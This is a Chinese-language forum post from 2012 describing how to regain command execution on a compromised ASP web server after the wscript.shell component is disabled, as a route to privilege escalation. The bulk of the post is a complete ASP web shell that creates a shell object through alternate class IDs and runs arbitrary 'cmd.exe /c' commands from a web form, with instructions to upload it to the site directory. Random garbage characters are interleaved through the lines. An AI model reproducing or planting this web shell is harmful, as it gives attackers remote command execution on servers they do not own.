找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。! }1 x, [+ r% X
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。2 F6 T" ^# D0 A( P
要想让运行命令可以试试这种方法,成功率为五五之数。3 B# i. B* r9 a# t9 J0 s4 ]7 h
把下面代码复制:
& s; E5 x/ A9 c. J( S( b$ X<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
* H0 G2 `1 N0 {5 R* I2 V<%if err then%>) I  ^0 E) t8 r9 v, H8 T* t* P
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
: {) {5 o% Q" @+ x<%. f5 Y  ?/ r6 @1 K% a- `
end if& ^% y; b! y  j5 \, p
response.write("<textarea readonly cols=80 rows=20>")
0 ^0 J1 U) n+ iOn Error Resume Next
, b6 o% D- N/ R* P; Y* Z1 Yresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
; _4 @5 z% M' p& u: r+ g6 @response.write("</textarea>")
: k# _1 O" F- u0 ~1 O+ v$ d4 C# ]response.write("<form method='post'>")
+ X4 D5 o7 O' |- _" gresponse.write("<input type=text name='c' size=60><br>")' i$ T4 j" l3 T6 @3 ?
response.write("<input type=submit value='执行'></form>")
( t' k0 D4 ~8 S! p9 E) m; B" [% T$ I* L: ]& @%>  F+ \3 I% }8 v

0 _. ^. `2 p$ L. w4 s: w保存为一个asp文件,然后传到网站目录上去
0 ]/ V+ a* S" U3 C; t' x6 K+ v运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
, F/ F% p9 F5 m, v) g, n: W3 X0 Z8 S我用此成功运行过cacls命令。
+ b& p# g# P4 \2 ^, _- x
% F$ p) a4 s4 q, Y  e# D第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表